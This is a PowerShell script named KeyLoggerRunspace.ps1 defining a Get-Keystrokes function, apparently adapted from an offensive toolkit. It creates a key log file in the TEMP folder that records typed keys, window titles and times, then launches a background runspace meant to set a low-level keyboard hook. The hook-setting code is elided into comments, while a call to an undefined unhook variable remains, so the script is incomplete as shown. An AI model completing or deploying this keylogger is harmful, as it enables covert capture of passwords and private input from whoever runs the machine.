KeyLoggerRunspace.ps1

function Get-Keystrokes {
    [CmdletBinding()] 
    Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
        [String]$LogPath = "$($env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [Double]$Timeout,

        [Parameter()]
        [Switch]$PassThru
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
    catch { throw $_ }

    $Script = {
        Param (
            [Parameter(Position = 0)]
            [String]$LogPath,

            [Parameter(Position = 1)]
            [Double]$Timeout
        )

        # function local:Get-DelegateType
        # function local:Get-ProcAddress

        # Imports
        # $CallbackScript 
        # Cast scriptblock as LowLevelKeyboardProc callback
        # Get handle to PowerShell for hook
        # Set WM_KEYBOARD_LL hook
        # Message loop
    
        # Remove the hook
        $UnhookWindowsHookEx.Invoke($Hook)
    }

    # Setup KeyLogger's runspace
    $PowerShell = [PowerShell]::Create()
    [void]$PowerShell.AddScript($Script)
    [void]$PowerShell.AddArgument($LogPath)
    if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }

    # Start KeyLogger
    [void]$PowerShell.BeginInvoke()

    if ($PassThru.IsPresent) { return $PowerShell }
}